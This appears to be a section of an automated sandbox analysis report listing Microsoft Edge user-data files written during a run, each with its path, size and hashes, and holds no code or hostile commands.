MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 924be10eaa696f5d890659af079df447716a189ea38e8d9701cae4ef34a84b73
MD5 5b13185999c528536cd3fc2cbbadef36
SHA1 bff3b7d70aa12ac304709779f6ce396c3d42a970
SHA512 099db33d5f3bf3d189694593854470adf350e4b62a1ed0c76e6284671bf99dbfe82499b0a8dff4395e511b7b2ae8a2aaae09e2c50611d9c600d2a0a794b74042
TLSH
T1A8D0A73327C57105F71962B5B41383422B1A446529968613D128C80DDE790D546DA2C3
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG
Size 357B
SHA256 54cde8f543fb23c15db3d491062e4a94e69d62482e068e887daaab9d672fe04c
MD5 742eeedd1ca7dff3cee72dd72a80d61b
SHA1 cb424205245842f82cd8c61c1e4af013c944286f
SHA512 a848e0f299cdddc94f72888adc4f712346e6d50b8f5d2ba359c883520a2a323bdd7b262d6158da74dd6a21267f358e7b0c2c21d9ad9513ddc54f30f6018ca15c
TLSH
T18FE0D8CDA2B4C5A40D52D64FA96C631CDB58B407ED8DECD723C5AED435116004287884
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 06cfd45f01c9f881972573ebf4cccdb219ab37d398639d3c206c38e23c8b3c80
MD5 3ba5575620f92ac6743164fecc935568
SHA1 59745777c0bbab09add869a6ceac809f6f055eda
SHA512 e67fae34e5cc416e4204604d0fe47387022a686fcf91a7e02db305e131801a10d69c1ba4c250c23ed079272be2869c603404c2443a77dead15ac8b1532f40dc8
TLSH
T1D5E026C874E8C2AEAA48E64752ACA30C9280374AD6DAB99B675488847046045A6CBE90
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001
Size 158B
SHA256 f803625f7089762ff6faeb3ece82729aca5f5a8ea6348ac385095f4ef1109a96
MD5 886d3a2f30ae328537f8a8495b7ac587
SHA1 7c18a459a31db22bab627b1df46f4732da5c15d8
SHA512 8d54299c0b059afd776373426c1e9e04dc2a04db5ba8722970b08f1abe9288e7b9230a4254217fff0985090db156a1f16de461ec7037774cdff0e4deaa405a0a
TLSH
T1D5C080D8BDCC845DC281187E5716F400075176119417A6170551FCC03241EE01F29120
MD5 SHA1 SHA512 TLSH

Submit Download

f_000084

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000084
Size 29KB
SHA256 945b1879933bbc5258e255af8c56c4875858f0129b99428afebf9ea8bc1c54d9
MD5 dc19fcb6d8c1dcead0ce6eb87aaf0d72
SHA1 f113f177cb1ce1d6350b71d905deeca581cb4e26
SHA512 d0427195840632ce55a634865ef43771957879ca1bdb55d8fad07a4996d4e0f3dfff8af583bd8365231e2b24c9d6880da5f7d82087d17e4bbad42bdc7544fed5
SSDEEP 768:tW5M611wnYrzb63j7R/KOjhAq+4uzCe++dK:Ev1hm3j7R/KQVruGl+dK
TLSH
T198D2E19BF3A18B478940263CB9734BC693FFA01424C5DD125758A8D47707FE0E8AA6F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 a5a30969b57b424a9db2dc1e4d36242a4200e71bb33ed4faf481125f9929636a
MD5 02649ebe6337fa0d46ccef4b60037fee
SHA1 5cb99509334d8b9230a1b565462dd9824eb4a8cb
SHA512 8c0d53436ea0566c622872c62bc30f79befb93a1be14636094446a178293124a03e4c37a2d9d30275940c7887b1241318db4c9560505091472432a67c38927b4
TLSH
T1E1713B2552FE079DF3622232F1D95A1830F3679B1E937D5E11AC8F7C29227749DE5408
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 c5ea1e30870a3a8988b0e53726614f07206c5a0fba0ac283bc8e369d15c010b9
MD5 7c60d45f05387b899ad5d13b94059595
SHA1 3a772eed681e47b35f65b3ddbee99d9d194e9d98
SHA512 9f9fff7222982e4b1ec3d5a8b4c52bddd7e5dac1b9f16b69b935df854b941f71210a4b1f97483c7909f907103a527fcde92e12792590ff05a7ceb8360cf0b973
TLSH
T15F713B2512FE079DF3622232F1DA5A1830F3675B1E937D4E11A88FBC29227749DE5408
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe589248.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe589248.TMP
Size 3KB
SHA256 ccda8e5136ae0063ddfac4cef751182fe3b39491f18b437b7e0c9ded7e9f7d1c
MD5 772933cb4aa2900cb3783686c90adcbe
SHA1 1b20aa47b192acdc58835d1e33f10bfac5d1b486
SHA512 3267ab1f43da2e04205fe07912dd4520f422e560af16a3372a13d8a13e6633bd790e3dfb5789debe4453d6d24f794efa9c0651e7391c8f5bf7bd095f60327e29
TLSH
T1BD713A2902FE039DF3262232F1D90A1834F3679B0E937D4E10A88FBC2532B748DE5408
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

verified_contents.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\Temp\scoped_dir1124_1764632046\CRX_INSTALL\_metadata\verified_contents.json
Size 1KB
SHA256 d23b2ba94ba22bbb681e6362ae5870acd8a3280fa9e7241b86a9e12982968947
MD5 738e757b92939b24cdbbd0efc2601315
SHA1 77058cbafa625aafbea867052136c11ad3332143
SHA512 dca3e12dd5a9f1802db6d11b009fce2b787e79b9f730094367c9f26d1d87af1ea072ff5b10888648fb1231dd83475cf45594bb0c9915b655ee363a3127a5ffc2
TLSH
T12B317466C8683D56267A63348E2D0602EB57C2BB0050640EB5AC558D4F7115FE242FAF
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\Temp\scoped_dir1124_1764632046\CRX_INSTALL\manifest.json
Size 962B
SHA256 5694c91f7d165c6f25daf0825c18b373b0a81ea122c89da60438cd487455fd6a
MD5 e805e9e69fd6ecdca65136957b1fb3be
SHA1 2356f60884130c86a45d4b232a26062c7830e622
SHA512 049662ef470d2b9e030a06006894041ae6f787449e4ab1fbf4959adcb88c6bb87a957490212697815bb3627763c01b7b243cf4e3c4620173a95795884d998a75
TLSH
T1661121366E2FC4260AE00698DC51308AF92453ADD380850E35BCE42E5B744FA430631E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 ef7478ec825a72ef9ef939d547e239f5277156f42dbb74661ab64f8b576aa45d
MD5 415484bb6c8e3d5fd1d0a38601658067
SHA1 483794ceb9130d7240c7a7f8382150a195937d87
SHA512 84e13ac50894d9afcfef36f99f25957234e91b7cd7e8cf974e720e0eae340f919729f474ca9416ffa881fa2b421998e47e5d9df258023732cb65ee038fd49220
TLSH
T1EC51C2F7C3E8866EC91156F0AA186E2BCE2D0A14422C3C5AC9E5FF1BA7E2470D15065F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 30ddfe87ed57e100971b68ba0b295f60491526946585ce3a6e6552101b756cc3
MD5 4ede43d4206664017fcec37eca3ea9cf
SHA1 6efc4a5bc0423bed9c3640d9e7dcb21c99186848
SHA512 659d95192a78b27d8607eca4a8a6d0fe97c7f78438a7c6df871344b3f48fbc6c27e08e660a9c713563b78f3fe1354daf36200190a7b6a4cf273d1a2d7a5baf01
TLSH
T1D7417CF783E4C66ECA1156F0AA18AE2BCE6D0614432C3D5ACAE4FF1793E3471D141A5B
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 cd609bcb18f3e2435d2e1e369007db9e2c1566f40dd30a88fec6e300c90f562e
MD5 3402759a6ed81d966decc6c4f5a6b0fb
SHA1 10cdc07fee29df6eeb5da7a58a5032b9c71fdb4b
SHA512 1af5dd46afeda215c2419526545bcda5de836d9baea9732ffef7c7073602e881f24eb4729272c4cf1bf50bc2bae54182d4f84b63b30a03eab451dfd26fc9e493
SSDEEP 192:sxZ2R1yM/jK1Ml8Mjc/fKs+5nEdpG3HW6+WNl+d/Y45vnqIgyJ:sxZ277c/fKs+5kYHbe/nqO
TLSH
T14942D711AA346977CCDBD209FA51BB53D6F44572A2940E44AEFCDA1C04E6BED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 e4c87d6578b0808c17fe57b79f26b05ea49f9ec459eac77b487aa600201fddf3
MD5 9077de11fdf03729aaaeefaf3eaee2ae
SHA1 49d462c773fe267ffa18eb4a2748e25e73dfc93e
SHA512 d8908e535ace81991f551889aef80b041c5d5c4c74fa5c4cda2587e7661e9ffc6a4795f3a5e7e90bab1c190b1457dd1e89a2c04f3020acd3d5abf9575837e624
SSDEEP 192:sxZ2R1yM/jK1Ml8UQJjc/fKsXinrN0oMIdpsXHW6+WNlSZZY4xArknqIg5AJ:sxZ27q9c/fKsXi2KGHb2ZQEqm
TLSH
T15162F815AA346A77CCDBE209F951BF53D6F5457292940E44AEFCCA1C01E6BED220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 c19d53869b1bb6a06f4059cb9498f84827838891e554b6f4b418a16edf244f05
MD5 463ec970b41ca3bc37011ee6cc64c204
SHA1 bd4874b5a37cc989b6360a4086615368d9a11539
SHA512 a3aa1c573b9e369c553b1ed0d6b32ff1f76b99448740cdfecb6c366f0c352715b3ae8cdb618581e9e647c8d9e1be40e9f27f7c4649caf9d6950bb9b7c9bb7e40
SSDEEP 192:sxZ2R1yM/jK1Ml8UQajc/fKsXinrN0oMIdpsXHW6+WNlSZZY4xArknqIg5AJ:sxZ27qec/fKsXi2KGHb2ZQEqm
TLSH
T10062F815AA346A77CCDBE209F951BF53D6F5457292940E44AEFCCA1C01E6BED220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 1a6954afa4db1ac33095981ee15272763dd66e4373db89ab9009ab06c6d197b0
MD5 062c01b5f3e23e07060011ca01e38d52
SHA1 240f32215b3b20af20a052bc7d0c517be17900c1
SHA512 457d4d85f4bd8caebfce2ab7cb9ab27b5a1ce214054c7517e964ac46389a7b7501e962bbd9f0dc82b433dcbdfa83a021b5e3364d1c4eddb806e155831e3e3efa
SSDEEP 192:sxZ2R1yM/jK1Ml8MRc/fKsX5nEdpG3HW6+WNl+d/Y4/vnqIg5IJ:sxZ27pc/fKsX5kYHbe/9qi
TLSH
T1E352E811AA346977CCDBD209F951BB53D6F84572A2940E44AAFCDA1C04E6BEC221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 474bb686104a91792343fa583d07b64e7cf0aeed1b106093d0ed28952daca482
MD5 3d7b988d1ba1ab287c5b7131a08accbe
SHA1 79a499ce4a95e0826d0fe0abee23ba1552310ece
SHA512 bab6ebb2c75a5dc337947b7c981b3e13a43c5220f4014c9715074bd47e13b68f96f05038164271640cadde69a270373baf4521bea8c783b757b6c789a0cc5f3d
SSDEEP 768:M68iJANWvx78r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQALl6opdhroAk7Unk:M68iJANWvx78ru1javALocdavUk
TLSH
T179E2FA3B680CCB7E4F844E9CEC266F966DD801CB5A988D5447FA884C03C77EE512799B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\4a9d8211-7182-4c12-98f6-a69f4033bc23\index-dir\the-real-index
Size 1KB
SHA256 fce01bd5351c38568fdf9d6fd409b171fc1cbe44ba23a88a1de67c0102a862d8
MD5 4ad83601fa69cdf2d683f6d9121d20cb
SHA1 6875cda4ba7a66cb359c605c8b8622e190e5bcb1
SHA512 6244785fef6feeb59b49e38de678b82505ed2e0baedc856a03e183752d430f8009895521f6a27e163761d5def44e885876fb47a788166dc7f7a6ef2b622200d5
TLSH
T12B3165494DE5CE6FECA4427116B25478337494DC1755E653983C3130BD2737A2A4B9FC
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5cd43f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\4a9d8211-7182-4c12-98f6-a69f4033bc23\index-dir\the-real-index~RFe5cd43f.TMP
Size 1KB
SHA256 a48edee245f3f6d66dbed4bf8ffe02623e5196367ff062002080a99c07f05544
MD5 927736ef6af5824acd6313a92ae77318
SHA1 49ed4c97b2850b256df060a3daff9d245ec949af
SHA512 c93d2ec64dc129f0650ffa89576bd00a9e0659f1f62ecf38a927b13303925e2fac29f843b4efcd569f2e88284076e2abbb1ebe001bccc2ffb4d109219ef8c50c
TLSH
T1D231675A4EC48E1AECC4407B0EE3A8B8733999404716B783957C5139FD617BE1E4E0DD
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 8644c1b456e74ccf6fec7dc770073c032ae8d983fabbe22283d674d7fc546de5
MD5 eef5f9da792e8283a5e75568e30bb35f
SHA1 28b95150786974d747d887fc5c91286a36ffc425
SHA512 79a4a8983f052c29b52310f29bcac84abf00f8aeb7ea46c038a1b9e0d17c8161da624cc97d597b588197d8a3402c4e7783d22f0ae1d1466a0b3a20aa13c432d2
TLSH
T17AE0C0F72EE72880FEBF63E1187198B00241B459D584BC8F2416FB9324613523406C22
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 9c33c387ce620c0bfe7d6339a20d135cf6921c6c8a404f7256cc09f3df734d2c
MD5 2b1a47f471c950b257ac73c51ff2a346
SHA1 854a915625e994377e8f8c530b77932f630b57a1
SHA512 b350db58ac5cccfca6ead43757be23bf36069740e66eefe96e48646c38ba46bb9cb27ecd45942e9997819fbfd95cb23a812757d46e0834a22959ba20128ef0d9
SSDEEP 48:K0YIjKlqcbyRyIfKnqo5ONO0OhO9O7O3OjOkzO3OCOPICOFOkK5OBBODOk1OdO0A:K0YwKlqqCy8KnqMRGKSwqGbWKJ
TLSH
T1CFA1210239BB12513D7E645C96A58B2A97837563301CE46B7BB840B20E6FE240CFECDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

domain_actions.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Domain Actions\3.0.0.20\domain_actions.dll
Size 82KB
SHA256 e5c9378b540360fb4ab0b16bf40ed18bd99cf4a8a5a6923f4f240d373fb441cb
MD5 aeb538c29f46cf0e19827ce47594488b
SHA1 db32b33a5811c303b1e37e1ab956df20ba44b355
SHA512 38488a42e5c532442a65fd4edab683f1f63eea71bae3ba2f801693647f633af9d836171dc751b342dc2e0e7784266eb9a40f677c0d3c9f651e7374f1af707852
SSDEEP 1536:NocewxXknaFpdgxBf8paY3JQzQik428fKagFVbydki806yav7Sz:NZvx3bgrfrPza428fIe76yaDS
TLSH
T1F783F1C0DA6C0117EE6B4D75D17959CA6BB9D6B50BA0B3EB2372845A0E02FC5EF36700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.4.20\data.txt
Size 150KB
SHA256 6cae7622dc0a64a464ea43e7041ebf2a76a958277ffebdef86da57eae46cd496
MD5 0551123bf21c85e69ca030c3ecc90288
SHA1 b6ab84fc32deb3f0f7587fad2b50c8d60c41d83a
SHA512 f833e356e659b5e1863b2e46189c2a8b706574ec9a69985345f1d16e58fdc5edb848b4e508dbe568b8de543df73246c1dd7da811b05541e1c264829ef1ce0ea3
SSDEEP 3072:2PPAgDcCHaLHl65aynyosxb3+B1xh0OrlwYERRf4jniQ43SFNyuj:2HX1aI5aZoKzMJ07NR2iXS37j
TLSH
T1E8E3F224CEC85FE8CEB8191C60FD0F0963E1869E493BB5C9E7A3BD0A6FE35040617589
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe59208e.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe59208e.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

office_endpoints_list.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists\2026.6.5.1\office_endpoints_list.json
Size 9KB
SHA256 f0c77aaacfc571e0bc3f51387febe134d991bf3c7f1941af303ed901f288dcd6
MD5 30719122f9edf4e23019a3b74e4f4325
SHA1 6707d64052797b9c5f1a5ccf016e5859c8ef898b
SHA512 ec2e1a33fcd1301f282512ffafb611ea705dc5df09d9aee014276909c1b62b0c73600121d94e9b6d9e160296672b41f2cb8c3ba23f121244ad2ea6521680723c
SSDEEP 96:DdQ/JJvwjyUsrdfsysVsnQfbJNZidYusysXYs2sFsdv12XvlRT07s/DkhcrHPglW:D7d7mfgiIWRcV4sobxezQd1Y
TLSH
T11512BB3BC4B49F229AB060659705E244F13C43BF5600C6FF76B9829C1F366ECA58E1E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 211d5352e34283aea087f48a51a14001a0f61f0c00bcd03bd8f3411f1aa14c9d
MD5 797726c486b3300f2125875a5e79a4ab
SHA1 2fa200bd04ae31dfead3dc4e1e71761479f706be
SHA512 06aecc56735042750d86d05a41ba46c0d657e042290376414d00d5cd794b9ca0519c85b4aa5e529e3e9ae5c32cc6f40af4ec72314457f0f442149aaba3a3a99d
SSDEEP 192:zWsNiMQJWYd2mOvQmiU1+A1Zk03iowmcEJKcIGgqTlxsFt:zWsNiMgWoeL7kywmfMGJlGf
TLSH
T14D422A7268787C3B5DE3A686F44B32278FB48157DACD2F9499DD2B2D01CB2E81307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 a67edbea2ba3dcfa44cc1a843daa4e73764bbd0d4375a7ab4ef3d5bb5f6a2a42
MD5 72876a7218691c6da62f6b37e5dd8d8b
SHA1 421dada82f5131a2b77480a86306ad78bafcf4b4
SHA512 7dc92bca52ccf7f608f8a7b3d68d79443c9299c845a58f87f039a0d7aae1bc69b71aacb1e33c388ae73f11d40646bdb9d6205e744748b59628bc039c61e42d6e
SSDEEP 384:njiFPZcIIsN68TUNTUlIlIHgWo9Nc0DfwdywmfHzGJySllYJTfY81FbkdJBu/:OFHIDwgYEasXTGJZuTH+XBu/
TLSH
T1B4C24A72D8A4D97BADE797C5FA0AB64B8FE4819386CD9AC0C9D91E0D01C75ED030BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 04bae161205bb305ef26cf3274e717390aeea7c46ee93e48a5f700d29cfe3075
MD5 0ca28a4cea4898651cb4d665fc06dedd
SHA1 08f79b8a45c5cfa8dbf5ca8ca2fb9522473e0144
SHA512 7288a4d2debecf42d0e0eb0b84656539c072818acbc56433215b2c3ef1ec4f32f1c1a377067856008da25ea047ceeaa507cf0e6003b472bd46378bf680e327e7
SSDEEP 192:zEIsNiMQJWYd2mOvQmiU1+A1Zk03iowmcEJKcIGgqTlxsFt:zzsNiMgWoeL7kywmfMGJlGf
TLSH
T1D3422B7268787C3B5DE3A686F40B32178FB48157DACD2F949AED2B1D01CB2E81307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 5eaec7796b23f12c835a675ab813c8248d0e704e7f5b1062746d9a03fa660832
MD5 ac90e4026ff1ddeea86bb32be3f9e412
SHA1 7034a079f9452721520f2e83aa65868d4188c0f2
SHA512 b6ab425087f6971d28490e963a5477e89e4257cc45c6ab83d1f69829aba669f7466cba6a47c658e8e02f1f20e5365098ddca93d06ee7c6ed1fd734461658a107
SSDEEP 384:nPZcI0sNirgWo9DckywmftGJySllYJTfY81FbkdJBu/:H0hwkXtGJZuTH+XBu/
TLSH
T153928D712874687BA8E7B159F84B761B8FF8C167C7CE5F80C9ED171E02DA5A80317826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 ca251483a2855ad77c1369ec8358d03df278f135b63c2c413d9b539eb6458385
MD5 09d6195745c9d621d431519f2b016266
SHA1 3fbff86dd08af86d8cc5befd19a140ac0ff620e3
SHA512 71b90d45498f3aa963b952e0a59a0a6fb42ddfe036d5d8f43825d006831448468c40eb8368d2459853c6e7c6023679daa633f8b9b493b0bf7bfa885d310dd4f6
SSDEEP 96:ZqONkrwQsjpfmUTmDK5ih/cIPURHl8h4otop5s5D2BhPwivh50xy0SFYKNAxOYok:gONw6kDfQmiUyumZ903iow+QiG290oU6
TLSH
T1A802E93568786CBB8EE3AE49F44637275FA4116BEAC52F85DAE81B1C40D725C1303827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 11df35889cd6dcc6dd9e74f26f40cff880c1d35dd87c0f77cc43ee4c986c58db
MD5 cc2ca7872332c5227b50f3728a573185
SHA1 3add5d1002ff8ab8f18a705a4cbc0c2f0144957e
SHA512 62c6fd0579cb180cc467c50a16f7b27ea2c655c231c3e957853aea0bf4f0a337a087ed82a27c4e51d26df44bc1d05654c341f87b277dcc8e6d5073476094de5a
SSDEEP 192:zEHsNiMQJWYd2mOfQmiU15K1xk03iowmcEJ5cIGgqTlxsFt:zqsNiMgWo6azkywmfRGJlGf
TLSH
T1E8422A7268787C3B5DE3A686F40B32178FB48157DACD2F9499ED2B1D01CB2A81307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 8c9f7c3b0e1d571f591d98f1cf8d8131224f5e9f31d036aa36927b6660524854
MD5 e2b90231ca4dd4d004c40e1050e5546d
SHA1 1d8d74347066a05ff5465c8608b7a43021d8cd53
SHA512 bde6c3c2f2f335ced252583fce33ca86d580966b49715ee84e1a1b41c59196afed805107a9a624c55350516d58fcea04b0419cf3caa54fe4e6bdbdfc5eb714a3
SSDEEP 192:tONL6k1QmiUyTm2903iowmcEJKcRGgqTU6:tONL62529ywmfFGJU6
TLSH
T12B123A3268787C7B5DE3A555F44732138FA48167EBC96F81D9E8261C05DF2981307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 6e1185cd925577d6012c3c903f6e6864a5e732adf878e99cb6c3970329b3fbc0
MD5 55ad549aaa5db4f974075dd5dcd3252c
SHA1 a63bed57b885119357e13df5dfafb791d65375b5
SHA512 84ca574db7216071122821a0038ffe446a1b422c79ad310f78aa3f5c7d9603ae419e4f5db1cfc70bcc42051c2e7d0d0fe76c744d637658541b254bda5b72dea7
SSDEEP 192:zEAsNiMQJWYd2mOzQmiU1wL1Hk03iowmcEJ5cIGgqTlxsFt:zZsNiMgWoeaBkywmfRGJlGf
TLSH
T168422A7268787C3B5DE3A686F40B32278FB48157DACD2F9499ED2B1D01CB2A81307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

crs.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\PKIMetadata\46.0.0.0\crs.pb
Size 233KB
SHA256 c132e2ba94619caf6143b3bbdd9c32944e80cbf3bff87364175c42801afe2584
MD5 8bbfaa2cd5cdd9a5019da146cf4deed5
SHA1 17ed2fb07543c5d4bc196a1989dd16a9dbcaacc1
SHA512 cfeee2916f19648ed408b4287e234b4140cf82254cd4b83d918c0a4c3bac2b0467d921915aec290823355be4a0cc82017557be588f65134b466b7192f795f6c2
SSDEEP 6144:KKiD4F7BVps9YpVW+J2i/P66k8GyST+uUP:KB69Vps9C2GAQb
TLSH
T14A34AE9A0F3C3A11BFD2DEA466C8D9377D79B3E06A6928172111C4F169927E07D8C12F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ct_config.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\PKIMetadata\46.0.0.0\ct_config.pb
Size 16KB
SHA256 aaeeb46cd91a4a392223cf2885f449bf532f0878c087d50bb0cb3fc7fa873a60
MD5 ca6e253c3fc7718b4455493460053be3
SHA1 4085dcccd29a931b8ea9b74f008e26409edf78ad
